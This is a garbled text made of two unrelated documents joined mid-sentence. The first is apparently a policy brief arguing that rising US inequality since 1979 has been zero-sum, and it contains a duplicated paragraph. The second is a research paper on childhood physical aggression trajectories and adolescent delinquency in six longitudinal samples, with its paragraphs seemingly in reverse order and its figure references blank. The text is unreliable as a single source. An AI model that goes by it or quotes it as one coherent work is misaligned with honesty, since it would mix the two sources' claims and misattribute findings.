To put it simply, the rise in inequality in recent decades has largely been zero-sum (or even worse). Many economists, analysts, and policymakers resist this zero-sum thinking, as it does not seem nuanced or subtle enough to describe a system as complex as an $18 trillion American economy. Yet the evidence is clear that it really is about this simple: the gains at the very top of the income distribution in recent decades have come essentially straight out of potential gains at the bottom and middle. This zero-sum dynamic means that intelligent policy changes aimed at progressive redistribution to stop (or even reverse) the steady rise in inequality would likely not harm overall economic growth, and would surely boost living standards at the bottom and middle.
Such policy changes are clearly needed. There is every reason to expect that income growth in the near future will continue to be unbalanced, providing significantly greater gains to those at the top than those in the middle or at the bottom, unless there is a significant reorientation of economic policy. Too often a policy stance of ignoring this radically unequal growth is described as “growth oriented” rather than (more accurately) as “regressive redistribution.” But the clear truth is that a progressive reorientation of policy is needed simply to ensure that growth going forward is not distributed as unequally as it has been.
This brief examines the trajectory of American living standards in recent decades and how they have been affected by rising inequality. It then assesses the likely effects of various policy recommendations on both income distribution and growth. Its key findings are:
Inequality has risen substantially in recent decades, regardless of how it is measured. This is true even when examining income trends that account for government transfers (such as Social Security, Medicare, Medicaid, food stamps, and unemployment insurance) and noncash employer-provided benefits such as contributions towards health insurance premiums.
Due to this inequality, incomes of the vast majority have grown much more slowly than the economy’s potential should have allowed. By simple arithmetic, inequality has placed a growing wedge between overall average income growth and income growth for the bottom 90 percent of households. This wedge between bottom 90 percent income growth and average income growth—call it the “inequality tax”— reduced incomes of the bottom 90 percent of households by roughly 20 percent between 1979 and 2007 (the last year before the Great Recession) relative to what incomes could have been absent the rise in inequality. This inequality tax fell during and immediately after the Great Recession, as a plunging stock market disproportionately reduced top incomes. But the stock market recovery in recent years has almost surely pushed this inequality tax back up to near prerecession levels.
Incomes for the vast majority post-1979 have been harmed by both slow growth and rising inequality. Compared with earlier economic eras, the period after 1979 has been characterized by both slower average economic growth and rising inequality. Both of these trends have hurt the income growth of the bottom 90 percent of American households. In short, the aggregate data show a clear association between regressive redistribution and slower growth.
Yet the rise in inequality—not the slowdown in overall economic growth—is the more important reason why living standards growth slowed so radically for the vast majority in recent decades. Contrary to the arguments of those looking to prioritize efforts to boost overall growth rather than focus on progressive redistribution, the rise in inequality after 1979 has done more than the slowdown in average growth to impede living standards gains for the bottom 90 percent of American households relative to previous historical periods.
The rise in inequality is the predictable outcome of policy changes enacted in the post-1979 period. Over the last few decades a large portfolio of policy changes has had the predictable effect of redistributing the benefits of economic growth to households at the top of the income distribution. These policy changes include the near-abandonment of full employment as a policy goal, cuts in top tax rates, the deregulation of finance, and a host of measures that eroded labor standards and institutions that buttressed bargaining power of low- and middle-wage workers.
Many of the policy decisions that increased inequality in recent decades also deeply damaged overall growth. For example, the failure to aggressively target full employment and the effort to deregulate the financial sector both clearly led to slower overall growth and redistributed income toward the highest-income households. In short, the aggregate data show a clear association between regressive redistribution and slower growth.
Many items on the modern progressive economic agenda would boost growth and halt the rise in inequality. Despite much handwringing by those arguing against it, the broad distribution-focused agenda of progressives elevates many policy changes that would unambiguously boost overall growth rates as well as stop the rise of inequality. For example, investments in infrastructure and early childhood education would provide faster average growth and would distribute benefits more widely. In short, the modern progressive agenda is both pro-growth and explicitly aimed at progressive redistribution.
Despite much handwringing by those arguing against it, the broad distribution-focused agenda of progressives elevates many policy changes that would unambiguously boost overall growth rates as well as stop the rise of inequality. For example, investments in infrastructure and early childhood education would provide faster average growth and would distribute benefits more widely. In short, the modern progressive agenda is both pro-growth and explicitly aimed at progressive redistribution. The modern “growth first” agenda that is commonly promoted would have trivial effects on overall growth but would regressively redistribute income. Key items on the agenda of those claiming to focus on growth over redistribution, such as signing more trade agreements, cutting tax rates, and reversing federal regulations, would provide at best trivial overall growth payoffs. Worse, the regressive redistribution that would result from these policies would have a net negative effect on living standards for the vast majority of American households.
Some items on the modern progressive agenda would progressively redistribute income without harming overall growth and these items are crucial to do. A substantial body of research indicates that many policy interventions that would lead to a progressive redistribution of income are essentially irrelevant to overall growth rates. This is important good news; it means that the zero-sum nature of income redistribution can be put to use to increase, not just suppress, growth for the bottom 90 percent.
Policies that are growth-neutral overall but strongly progressive in distribution generally work by increasing the economic leverage and bargaining power of low- and moderate-wage workers in the labor market. This largely means either rebuilding labor standards that have eroded or adopting modern labor standards that America has largely ignored for too long. Examples include raising minimum wages, restoring rights to collective bargaining, ensuring overtime rights for a broad class of salaried workers (as just accomplished with a new rule from the U.S. Department of Labor), adopting more-generous unemployment insurance, and instituting new paid leave rights. All of these measures—which are part of EPI’s Raising America’s Pay (RAP) agenda, can help shift bargaining power in the labor market away from capital-owners and corporate managers and back to low- and moderate-wage workers. The research on this (from EPI’s RAP research and other sources) shows that there is little to nothing to fear about the growth and efficiency consequences of such policies, but that they hold great promise in restoring the share of income claimed by the bottom 90 percent. There are even some reasons to believe that these efficiency-neutral progressive policies may help ameliorate a key growth problem: the chronically slow growth of aggregate demand (“secular stagnation,” in the jargon) that has plagued advanced economies in recent decades.
Background
The rise in inequality in recent decades has been essentially zero-sum, at best. The evidence strongly indicates that overall growth rates in recent decades were not buoyed by the large regressive redistribution of income that occurred during that time. Consequently, gains at the top were not financed by faster overall growth, instead they were achieved at the expense of decent living standards growth at the bottom and middle of the income distribution.
To put it simply, the rise in inequality has easily been the biggest factor driving underperformance of income growth for the bottom and middle. We define this underperformance in two ways in this paper. The first is essentially definitional—income growth for the bottom 90 percent of households that significantly lags economy-wide average growth (that is, slower growth than what the economy could have delivered to all households). That is, any increase in inequality should be seen as a potential economic policy failure. The second definition of underperformance is simply income growth for the bottom 90 percent that is significantly slower than what these households experienced in earlier economic eras.
In this paper we label the entire bottom 90 percent of American households the “vast majority” and examine trends in their living standards over time. We often compare their economic outcomes to average outcomes—outcomes buoyed by large gains in the top 10, 5, or 1 percent of the income distribution. We will also occasionally (and more depressingly) compare outcomes for the bottom 90 percent directly with outcomes achieved by the top 10, 5, or 1 percent.
The bottom 90 percent is obviously a heterogeneous group in a lot of ways: households in the bottom 10 percent of the income distribution are obviously poor in any reasonable sense of the term while households at the 90th percentile are awfully privileged relative to many others in this group. But we still think it’s a useful group to examine. One point in favor of using this “vast majority” concept is data availability: it allows us to use a dataset from Thomas Piketty and Emmanuel Saez that does not differentiate between households in the bottom 90 percent to make comparisons over time. It is also worth pointing out that average income growth for the entire bottom 90 percent of American households has lagged lag far behind the economy-wide average in recent decades. And the difference between growth rates at the 20th percentile and 90th percentile is much smaller than the difference between growth rates at, say, the 90th percentile and the 99th percentile. In short, while this bottom 90 percent is a very expansive group, its members have experienced a pretty common trajectory in income growth in recent decades, so we think it makes sense to examine their experience as a group.
Since the rise of inequality has been the biggest cause of disappointing income growth for the vast majority, reversing (or at least stopping) this rise in inequality is obviously key to accelerating future living standards’ growth for this group. In short, an economic strategy that does not aim to explicitly confront inequality would severely shortchange the living standards of the vast majority. Given this, it is bizarre indeed to argue that policymakers should not make it a priority to reverse (or at least stop) recent decades’ trends toward greater inequality.
Those arguing for ignoring distribution and focusing only on growth often claim (at least implicitly) that progressive redistribution and growth conflict, and that strategies aimed explicitly at progressively redistributing income will hamstring overall growth. In fact, recent economic history in the U.S. strongly indicates that it is regressive redistribution and growth that are in conflict; the package of policy changes that led to the rise in inequality did nothing to boost overall growth of the economy. Instead, as inequality rose, overall growth rates fell. In short, equity and efficiency are often not in conflict. And an ambitious agenda that restores economic power to the vast majority can make the economy grow both fairer |
costly of the behavior disorders. A clearer understanding of the origins of physical violence can advance the development of intervention techniques. If physical aggression is a distinct risk factor for later physical violence, screening strategies that focus on physical aggression rather than on generic troublesome behavior could increase predictive accuracy. Practitioners may be able to develop more effective preventive and corrective interventions by targeting the specific mechanisms that lead to and sustain physical aggression.
Children’s behavior problems have long been considered precursors of juvenile delinquency and adult criminality ( Carpenter, 1851 ; Horn, 1989 ; Roosevelt, 1909 ). The development of these behavior problems during the elementary school years was the object of intensive investigations over the last quarter of the 20th century. A number of large-scale longitudinal studies in different industrialized countries used repeated measurements over many years to trace the development of behavior problems. These studies followed older pioneering longitudinal studies that were retrospective (e.g., Robins, 1966 ) or that had limited their prospective assessments to one time point during childhood and one or two time points during adolescence and adulthood (e.g., Lefkowitz, Eron, Walder, & Huesmann, 1977 ; West & Harrington, 1973 ).
Model 2 introduces controls for potentially comorbid disruptive behaviors into the model. In this model, we included the group membership probabilities for all disruptive behaviors. Our testing strategy was to examine whether any bivariate relation between physical aggression in childhood and delinquency in adolescence remained significant once controls for other, potentially comorbid, disruptive behaviors were included in the analysis. Again, we performed these tests of the joint significance of the group membership probabilities for each disruptive problem behavior using the likelihood ratio test.
We assessed the influence of childhood physical aggression on later delinquency by estimating the two distinct regression models depicted in. Model 1 examines the bivariate linkage between physical aggression and later delinquency. Even though the model includes multiple probabilities of membership as right-hand-side regressors, the probabilities pertain only to physical aggression. Our purpose was to test whether there was a significant bivariate relationship between group membership for physical aggression and, respectively, adolescent violent and nonviolent delinquency. This test would establish whether the developmental course of physical aggression can, by itself, predict delinquency. If, for example, childhood physical aggression predicts delinquency in adolescence, we would expect individuals with higher probabilities of belonging to groups with trajectories displaying higher levels of sustained physical aggression to be more prone to delinquency. We used the likelihood ratio test to test whether the group membership probabilities had such a statistically significant joint explanatory power. Hence, although this is not technically a bivariate model because it has from two to three independent variables depending on the sample, we used it to evaluate the bivariate relationship between physical aggression and each specific outcome.
To perform these analyses, we relied on the estimates of the posterior probability of group membership for each individual, based on the best-fitting trajectory models for physical aggression and other disruptive behaviors. These posterior probabilities of group membership served as independent variables in regression models assessing the relationship between group membership and delinquency. In entering the posterior probabilities as independent variables reflecting the influence of a given disruptive behavior, we entered the probabilities for all but one group (the “never” group) as independent variables. The exclusion of the probability of group membership for one of the groups is necessary because the posterior probabilities of group membership in each group will add to 1 for a given individual (e.g.. the independent variables would be perfectly correlated). To assess the influence of the behavior itself as opposed to the influence of a specific trajectory group, we then tested the significance of the joint influence of these probabilities on the dependent variable.
We used regression methods to explore the relationship between childhood physical aggression group membership and subsequent adolescent delinquency. We also used multivariate models to test the robustness of this relation, controlling for potentially comorbid disruptive behaviors (opposition, hyperactivity, and serious [nonphysically aggressive] conduct problems). Delinquency measures reflect data collected after the final assessment of childhood disruptive behaviors used in the trajectory models. These measures reflect early adolescent delinquency for the Quebec and the CDP samples (age 13 for both) and delinquency in later adolescence for the Montreal (age 17) as well as the Dunedin and Christchurch samples (age 18 for both). Hence, we use the general term adolescence to refer to the teenage years as reflected in our outcome measures, but we recognize distinctions between early and late adolescence where appropriate.
To test the linkage between trajectories of childhood physical aggression and self-reported violent and nonviolent delinquency in adolescence, we examined the relationship between self-reported delinquency and the posterior probabilities of group membership for varying trajectories of physical aggression. For each individual in the sample, these probabilities estimate the probability of the individual’s belonging to each trajectory group. For example, consider a boy who persistently received high physical aggression ratings by teachers. For this individual, the posterior probability estimate of his belonging to the low trajectory group would be near zero, whereas the estimate of his belonging to the chronic group would be high. Individuals were assigned to the group with the largest posterior probability estimate.
Model selection requires a determination of the number of groups that best describes the data and the shape of the trajectory for each of those groups. As described in D’Unger, Land, McCall, and Nagin (1998), determination of the optimal number of groups is a difficult statistical problem. As recommended in D’Unger et al., we used the Bayesian information criterion (BIC) to select the optimal model. Specifically, we selected the model with the largest BIC from among multiple models reflecting variations in both the numbers of groups and the shape of the trajectories for each group. With this approach, the best fitting model reflects the model with the optimal number of groups, and it indicates the most likely longitudinal change trend for each of those groups. The change trends identified in the optimal model generally, though not always, are significant according to conventional T statistics. Further, even in those limited cases in which the change trend for a given group identified by the optimal model is not statistically significant, this trend is apparent in the data. In other words, the trends identified by the model, whether statistically significant or not, are evident in graphs of the trajectories. In no instance does the optimal model reflect a change trend that is disconfirmed in graphic representations of the model.
Model estimation results in three key outputs: (a) the shape of each group’s trajectory as determined by the parameter estimates of Equation I, (b) the estimated proportion of the population belonging to each trajectory group, and (c) for each individual in the estimation sample, an estimate of the probability that he or she belongs to each of the trajectory groups identified in estimation (posterior probability of group membership).
where y i t ∗ j is a latent variable characterizing the behavior (e.g., physical aggression) of subject i at time t given membership in group j, Age it is subject i’s age at time t, Age i t 2 is the square of subject i’s age at time t, and ε is a disturbance assumed to be normally distributed with zero mean and constant variance (σ 2 ). 1 The model’s coefficients, β 0 j, β 1 j, and β 2 j, determine the shape of the trajectory. They are superscripted by j to denote that the coefficients are not constrained to be the same across the j groups. By freeing the model parameters to differ across groups, the estimation procedure allows for cross-group differences in the shape of developmental trajectories. This flexibility is a key feature of the model because it allows for easy identification of population heterogeneity not only in the level of behavior at a given age but also in its development over age.
To conduct our analyses, we used the same group-based, semiparametric methodology for estimating developmental trajectories that was used by Nagin and Tremblay (1999). One of the principal advantages of this methodology is that it is well suited for analyzing questions about developmental trajectories that are inherently categorical—for example, do certain types of people tend to have distinctive developmental trajectories? Another useful feature of the trajectory estimation method is that it is well suited for identifying heterogeneity in types of developmental trajectories rather than assuming it. Finally, this method uses a maximum likelihood procedure that accounts for the censored normal distribution of physical aggression and other disruptive behaviors that exhibit a large cluster at the scale minimum and a smaller but notable cluster at the scale maximum. Here we provide only a brief summary of the method. For details of the specific form of the methodology used here, see Nagin and Tremblay (1999) or Nagin (1999).
illustrates these general trends; it shows trends for mean physical aggression scores across sites for boys. As with disruptive behaviors more generally, physical aggression among boys shows longitudinal patterns of growth in the U.S. samples, stability in the New Zealand samples, and decline in the Canadian samples. Such differences could be attributed to various factors. In particular, they could reflect inherent cultural differences across sites, cohort differences introduced by the differing decades during which various data collection efforts began, differing sampling strategies across sites (i.e., birth cohort, school sample, high-risk/stratified sample), or more subtle cross-site differences in measurement procedures and/or indicators of disruptive behavior. It is not possible to unpack the contributions of each of these potential explanations to the differences in trends across sites. Still, the differences are subtle and in our judgment do not jeopardize the comparability of the data across sites. Indeed, the general stability across sites serves to increase our confidence in their comparability. Moreover, it is important to note that such trends represent aggregate patterns that mask potential similarities and differences across particular groups following distinct developmental trajectories. For instance, although aggregate patterns show some divergence across sites and sex, it is conceivable that, for all samples, a chronic physical aggression trajectory exists that follows a markedly similar developmental pattern across sites and sex. We used a semiparametric modeling strategy that allowed us to examine variation in developmental trajectories of physical aggression across sites for boys and girls.
An examination of the descriptive statistics points to some important similarities and differences in the distribution of these behaviors and related trends across sex and across sites. Across sites and behaviors, mean disruptive behavior scores are normalized on a scale ranging from a minimum of 0 to a maximum of 2. As can be seen in Tables A3 through A8 in Appendix A, across sex, mean scores for physical aggression as well as for the other disruptive behaviors are higher for boys than girls, as are mean scores for self-reported violent and nonviolent offending. Longitudinally, trends in the distribution of disruptive behaviors over time differ across sites. In general, in the Canadian samples, mean disruptive behavior scores show declines over time, whereas in the New Zealand samples, mean disruptive behavior scores are primarily stable over time, and in the U.S. samples, mean disruptive behavior scores tend to show increasing means over time.
Outcome measures, derived from self-reports of violent and nonviolent delinquent involvement, are also characterized by cross-Site variation in the number of items but, as with the measures of externalizing behavior, reflect similar behavioral tendencies across sites. For all sites, respondents were asked to indicate whether they had ever engaged in each of the various behaviors listed in Table A2 (see Appendix A ). Individual scores represent the sum of items for which respondents indicated involvement. Items included in the violent delinquency scales reflect those delinquent behaviors associated with physical violence and related person-based offenses. Items included in the nonviolent delinquency scales primarily reflect offenses against property rather than persons. The only clearly ambiguous behavior is weapons carrying, which was not measured in the CDP sample, was considered an indicator of nonviolent delinquency in the Dunedin sample, and was considered an indicator of violent delinquency in the three remaining samples. Although such cross-site inconsistencies do pose a problem for cross-site research such as the present study, the striking degree of cross-site measurement consistency seems more notable than the limited inconsistencies.
As is evident in Tables A1 and A2 in Appendix A, measures of teacher-reported physical aggression comprise comparable items across sites, as do measures of self-reported violent and nonviolent delinquent outcomes. Despite some differences in the number of items in physical aggression scales across sites, these scales all reflect the same general behavioral tendencies across sites. Physical aggression scales range from two to five items and in all instances reflect children’s tendencies to use physical force in interactions with others. There is more variability in the items making up the opposition, hyperactivity, and serious (nonphysically aggressive) conduct problems scales across sites. Because these behaviors were included solely as controls in the regression analyses, such variability is of less import. We used these data to examine the extent to which any apparent link between childhood physical aggression and adolescent delinquency would hold when controls for potentially comorbid disruptive behaviors were introduced. Although the scales for these comorbid behaviors are not entirely comparable across sites because they are drawn from distinct sources (Canadian samples: Social Behavior Questionnaire, Tremblay et al., 1991 ; New Zealand samples: the Rutter child scales, Rutter, Tizard, & Whitmore, 1970, and Conners, 1969, 1970 ; U.S. samples.’ the Child Behavior Checklist [CBCL], Achenbach, 1991, and Achenbach & Edelbrock, 1983 ; the Teacher Report Form, Achenbach & Edelbrock, 1986, 1987 ), they do reflect similar behavioral tendencies. Opposition scales range from three to five items indicating a tendency toward non-physically aggressive but nonetheless defiant and antisocial behavior in interactions with others. Hyperactivity scales range from two to five items across sites. The items reflect a tendency toward disruptive motor activity as opposed to antisocial externalizing behavior. Finally, nonphysically aggressive conduct problems scales range from three to four items reflecting a tendency toward serious, but nonphysically aggressive, problem behaviors.
The Pittsburgh Youth Study is an investigation of delinquency, substance use, and mental health problems in a high-risk, stratified sample. Participants are 1,517 boys who initially were in Grades 1, 4, or 7 at the beginning of the study. Since that time, the youngest and the oldest samples have been regularly followed up over 12 years. The middle sample was discontinued after seven assessments. About half of the sample is African-American, and the other half is Caucasian. Assessments have included three informants–the boys, their parents, and their teachers–and cover a great variety of risk and protective factors.
This study is an investigation of the health, development, and behavior of a complete cohort (N = 1,037; 535 boys and 502 girls) of consecutive births between April 1, 1972, and March 31, 1973, in Dunedin, New Zealand. The study participants are predominately of European origin and are representative of the ethnic and social class distribution of New Zealand’s South Island. The Dunedin sample has been repeatedly assessed with a diverse battery of psychological, sociological, and medical measures since the children were 3 years old. The latest assessment was at age 26.
The Christchurch Health and Development Study is a longitudinal study of an unselected birth cohort of 1,265 children (635 boys and 630 girls) born in the Christchurch, New Zealand, urban region during mid-1977. These children have now been studied at birth, 4 months, annually from age 1 to age 16, and again at age 18, using information gathered from a combination of sources including parental interview, teacher report, self-report, standardized psychometric testing, and medical and other official records.
This school-based sample comprises both girls and boys, about 1,000 of each, who were selected randomly from children attending kindergarten in the Canadian province of Quebec in 1986–1987. Yearly assessments of the children’s behavior and family life were obtained from mothers and teachers as the children aged from 6 to 12 years. The boys and girls were interviewed at 15 years of age. Another round of interviewing should begin within the next year.
In the spring of 1984, all teachers of kindergarten classes at 53 schools in low socioeconomic areas in Montreal, Canada, were asked to rate the behavior of each boy in their classrooms. A total of 1,161 boys were rated by 87% of the kindergarten teachers for this high-risk, school-based sample. In order to control for cultural effects, the boys were included in the longitudinal study only if both of their biological parents were born in Canada and their parents’ mother tongue was French. Thus, a homogeneous Caucasian, French-speaking sample was created. The sample was reduced to 1,037 boys after applying these criteria and eliminating those who refused to participate and those who could not be traced. Following the assessment at age 6, the boys were then assessed annually from ages 10 to 17 years.
A key strength of this study lies in the quality and comparability of the six data sets. Each data set involves an age cohort for whom data are available from as early as birth. In all data sets, longitudinal data on disruptive behavior problems were collected beginning between the ages of 5 and 7 years. Of the six sites, all but Montreal and Pittsburgh have data for girls as well as boys, allowing comparisons across sex. Across sites, these data include comparable and repeated measures of teacher-reported physical aggression beginning approximately at school entry and continuing through early adolescence. We used these data to examine the developmental course of this behavior across sites and sex. In addition, with the exception of Pittsburgh, each data set has comparable self-report measures of violent and nonviolent delinquency initially collected when cohort members reached their teenage years, allowing us to explore the linkage between early physical aggression and adolescent delinquency. Moreover, all of the data sets include repeated measures of childhood opposition and hyperactivity, and all of the data sets except the Christchurch Health and Development Study and the Child Development Project (CDP) include repeated measures of serious (but nonphysically aggressive) conduct problems. These data allowed us to introduce controls for comorbid disruptive behaviors in our analysis of the linkage between childhood trajectories of physical aggression and later delinquency.
Despite similar developmental patterns across childhood physical aggression for boys and girls, the relation between physical aggression and later offending, although strong and consistent among boys, was inconsistent among girls. Moreover, with the exception of the Christchurch sample, the influence of potentially comorbid disruptive behaviors did not dampen the relation between physical aggression and offending among boys. Among girls, however, in all but one instance, the introduction of other disruptive behaviors into the models examining the linkage between physical aggression and later offending reduced to insignificance the limited bivariate relations between physical aggression and offending. Although chronic childhood physical aggression emerges as an important predictor of adolescent offending among boys, it does not appear to predict adolescent offending among girls with any consistency.
For girls, the results suggest that, in multivariate regression models, no particular type of disruptive behavior during the elementary school years exerts a consistent, unique influence on violent or nonviolent delinquency during adolescence (see ). With one exception, none of the disruptive behaviors exerted a significant effect on self-reported violent delinquency when the other disruptive behaviors were controlled. That exception was the CDP sample, for whom physical aggression was a distinct predictor of later violent behavior when opposition and hyperactivity were controlled. Among girls in the Dunedin sample, conduct problems were significantly related to later nonviolent delinquency when physical aggression, opposition, and hyperactivity were controlled. For girls in the Christchurch sample, opposition exerted an independent effect on nonviolent delinquency when the other disruptive behaviors were controlled.
The results suggest that among boys, physical aggression does, in fact, have a significant and independent influence on violent and nonviolent offending even when we account for the potentially confounding influence of other disruptive behaviors (see ). Physical aggression remained a significant predictor of both forms of delinquency in 4 of 5 sites—the exception being the Christchurch site. These models do suggest, however, that childhood physical aggression is not the only disruptive behavior to influence later offending. Although hyperactivity was not associated with later delinquency at any of the sites, conduct problems consistently exerted a significant effect on violent delinquency when other disruptive behaviors were controlled, and opposition had some influence on nonviolent delinquency when other disruptive behaviors were controlled, though this pattern was inconsistent. For boys, then, physical aggression appears to be a distinct risk factor for violent and nonviolent delinquency, conduct problems independently increase the risk of violent delinquency, and opposition, in limited instances, independently increases the risk of nonviolent delinquency.
These bivariate results introduce two important questions. First, among boys, is the relation between childhood physical aggression and adolescent delinquency actually a function of the independent influence of early physical aggression? Or, alternatively, does it reflect the comorbidity between physical aggression and other disruptive childhood behaviors that may have similar or even stronger links to adolescent delinquency than physical aggression does? Second, among girls, might other disruptive childhood behaviors provide a more consistent linkage to adolescent offending than physical aggression does? We addressed these questions in a multivariate model that examined the influence of physical aggression, along with opposition, hyperactivity, and serious (but non-physically aggressive) conduct problems, on later violent and nonviolent offending. In essence, this approach allowed us to examine the influence of each disruptive behavior on violent and nonviolent delinquency while controlling for the influence of the other disruptive behaviors.
Despite similarities in the developmental trajectories of physical aggression for boys and girls, the linkage between childhood physical aggression and later offending is less consistent among girls (see ). As is the case among boys, the results indicate a high degree of homotypic continuity in aggressive behavior from childhood into adolescence for girls. With the exception of the Dunedin sample, bivariate analyses indicated a significant association between childhood physical aggression trajectories and violent offending in adolescence among girls. Evidence that this relation extends to nonviolent offending among girls is minimal. Only in the CDP sample was there evidence of both homotypic and heterotypic continuity, with a significant bivariate relation between childhood physical aggression and both violent and nonviolent adolescent offending. This was not the case for the Quebec and Christchurch samples. And although there is no evidence of a link between physical aggression and violent offending among girls in the Dunedin sample, there is a significant linkage between childhood aggression and nonviolent offending. So, whereas all male samples showed evidence of homotypic continuity that in all but one case was accompanied by evidence of heterotypic continuity, the picture is more muddled among girls. In two cases, female samples exhibited only homotypic continuity; in one sample, they exhibited both homotypic and heterotypic continuity; and in the final sample, they exhibited only heterotypic continuity. In other words, the linkage between childhood patterns of physical aggression and later offending was less patterned among girls than among boys, varying across sites and across outcomes.
A summary of the results of the analysis linking the posterior probabilities of physical aggression group membership to violent and nonviolent delinquency is reported in. For boys, models assessing the bivariate relation between physical aggression in childhood and delinquency in adolescence indicate that a childhood marked by consistently high levels of physical aggression is associated with an increased likelihood of both violent and nonviolent delinquency in adolescence. For all five sites, childhood physical aggression is linked to later violent offending, suggesting a clear pattern of homotypic continuity from childhood into adolescence. Moreover, in all but one site (the CDP site), there is evidence of heterotypic continuity, with childhood physical aggression also exhibiting a significant link to nonviolent offending in adolescence (see ). Thus, these findings based on trajectory analysis closely conform to existing evidence showing a strong correlation between childhood problem behavior and later delinquency for boys (e.g., Ensminger, Kellam, & Rubin, 1983 ; Farrington, 1995 ; Loeber, Farrington, Stouthamer-Loeber, Moffitt, & Caspi, 1998 ; Pulkkinen & Tremblay, 1992 ; Stattin & Magnusson, 1989 ). They also suggest that levels of childhood physical aggression may account for much of this relation.
Analyses tracing the development of physical aggression in childhood serve to reinforce the proposition that aggregate-level analyses of changes in mean levels of physical aggression over time do not adequately capture between-individual differences in the developmental course of physical aggression. Across sites and sex, there is clear variation in childhood trajectories of physical aggression across individuals. We now move to an examination of the hypothesis that these distinct trajectories are differentially associated with the likelihood of engaging in adolescent delinquency. Nagin and Tremblay (1999) found that membership in a group exhibiting a chronic physical aggression trajectory throughout childhood increased the risk of later violence. Here we test the robustness of this finding across four additional data sets (self-reported delinquency data were not available for the Pittsburgh sample) and across sex by examining the linkage between trajectories of physical aggression and adolescent delinquency (both violent and nonviolent). We examine this relation both bivariately and with controls for potentially comorbid disruptive behaviors (opposition, hyperactivity, and, for those sites where the data are available, serious [nonphysically aggressive] conduct problems). For these regression models, delinquency scales comprise data collected after the final assessment of childhood disruptive behaviors used in the trajectory models, ensuring proper time ordering. These scales reflect delinquency at age 13 for the Quebec and CDP samples, at age 17 for the Montreal sample, and at age 18 for the Dunedin and Christchurch samples.
In sum, then, trajectory models of physical aggression for both boys and girls suggest that developmental pathways of physical aggression follow individual-level patterns of stability or decline coupled with a high degree of stability in relative position across individuals. Only in the U.S. samples did we find evidence of increasing physical aggression. Further, there is no evidence of sudden, late-onset physical aggression among boys or girls in any of the samples.
Physical aggression trajectories for girls exhibit patterns of stability and decline and no evidence of increasing or late-onset physical aggression (see ). Further, models of physical aggression for girls from the Christchurch, Dunedin, and CDP samples suggest rank stability consistent with that of the male models of physical aggression. Only in the trajectory model for the Quebec female sample (see ) is there any evidence of change in rank stability. In this model, there is one declining trajectory group that, at the outset, exhibits a higher mean level of physically aggressive behavior than the stable, chronic group and that, at final assessment, exhibits a mean level of physical aggression that is comparable to the behavior of the “nevers.” However, this group makes up only 12% of the sample, and the remaining 88% exhibit rank stability consistent with other models of both male and female physical aggression.
Despite these differences, there are some patterns that both cut across the female models and mirror the male models. Even with the notable variation in number of groups across female models, in all cases, the majority of the girls are in the rare and low-level physically aggressive groups. Recall that the majority of boys at each site also fell into the rare and low-level physically aggressive categories. So, even though girls exhibit lower mean levels of physical aggression than boys do, little to no involvement in physical aggression is the modal pattern across sites and across sex. Also, as is the case among boys, chronic physical aggression is unusual for girls. The Quebec, Christchurch, and CDP female samples each have a small group of girls who follow a chronic physical aggression path (3%, 10%, and 14%, respectively), and in the Dunedin sample there are no girls who follow a chronic physical aggression trajectory.
In some ways, these four models are distinct from one another and from the models that trace the development of physical aggression in boys (see ). The most notable distinction between the four models tracing girls’ physical aggression over time is the range in the ideal number of groups. The Christchurch and CDP samples have three distinct physical aggression trajectories, whereas the Quebec sample has four distinct trajectories and the Dunedin sample only two. Of the six models of male physical aggression, all have three or four groups. Comparatively, the four female models of physical aggression display a greater range of ideal groups. Also notable is that girls exhibit lower mean levels of physical aggression than do boys across all four sites with comparable data for boys and girls. Even among girls who exhibit chronic physical aggression across assessment periods, their mean levels of physical aggression are notably lower than those of chronic physically aggressive boys in the same sample. Nonetheless, at each site, mean ratings of physical aggression among chronically aggressive girls are higher than those for any of the nonchronic male groups.
In the CDP sample, physical aggression for girls follows a three-group model in which all trajectories are stable (see ). The largest group of girls (46%) are rarely physically aggressive, whereas a small percentage (10%) display relatively high levels of stable physical aggression. The remaining 44% of the girls follow a path represented by consistent, low levels of physical aggression as they age. This model is almost identical to the model representing the development of physical aggression for girls in the Christchurch sample.
In the Quebec sample, a model based on teacher reports of girls’ physical aggression reveals four distinct trajectories (see ). There is a small group of girls (3%) who exhibit stable levels of chronic physical aggression over time. There is also a large group of girls (52%) who exhibit little physical aggression. The remaining 45% of the sample follow one of two trajectories. Thirty-three percent of the girls in the sample exhibit a longitudinal pattern that reflects a stable, low level of physical aggression. Another 12% follow a trajectory of rapid decline that begins at a “chronic” level and declines until age 12, when girls in this group exhibit almost no physical aggression.
Thus, the models of physical aggression highlight rank stability coupled with evidence of both stability and change in absolute levels of physical aggression over time. However, even in models exhibiting evidence of absolute change in physical aggression over time, the trajectories reflect patterns of gradual change as opposed to sudden increases or decreases in these behaviors. Further, there is no evidence of late onset of physical aggression. Even in the Pittsburgh and CDP samples, where there is evidence of increasing physical aggression, these increases are gradual and continuous and do not emerge de novo during the period of observation. This supports the suggestion that the “onset” of physical aggression occurs during the preschool years, prior to the initial assessments in these data sets between ages 5 and 7 ( Tremblay et al., 1999 ).
Although longitudinal patterns across sites exhibit evidence of both stability and change in absolute levels of physical aggression, all models indicate relative stability across levels of physical aggression. In none of the models do trajectories of physical aggression cross one another—suggesting that even if boys’ physically aggressive behavior changes over time, their comparative ranking within the population remains constant. Boys following a high and chronic physical aggression trajectory (even one that is declining) always rank higher on physical aggression than their counterparts in other groups, and boys following a low-level trajectory (whether stable, increasing, or decreasing) always rank between the never and chronic groups on physical aggression.
There is also a remarkable similarity in developmental trajectories within countries. In the male samples from Montreal and the province of Quebec, trajectories are stable or declining. The modal pattern is to start off being modestly aggressive at age 6 but to show a steady decline thereafter. In both New Zealand samples, all trajectories are stable, with the modal group displaying very little physical aggression, at least to their teachers. Only in the U.S. samples is there evidence of increasing physical aggression with age. In both the Pittsburgh and CDP samples, there is a group of boys—about 10% of the sample—with high and rising levels of physical aggression.
Although there are some obvious differences in the developmental models tracing boys’ physical aggression over time at each site, there are also some clear similarities. Consistent with results from the Montreal sample, at each of the other sites, a three- or four-group model best represents pathways of physical aggression “(see ). Further, in every case, the model includes a trajectory representing a small group of boys—less than 10% of the sample—who engage in consistently high levels of physical aggression over age. Every site also has a group of boys of greatly varying size—between 15% and 60% of the population—who engage in almost no physical aggression over time. In fact, at all six sites, the modal trajectory is one that reflects a longitudinal pattern of either very little physical aggression or a low level of physical aggression over age.
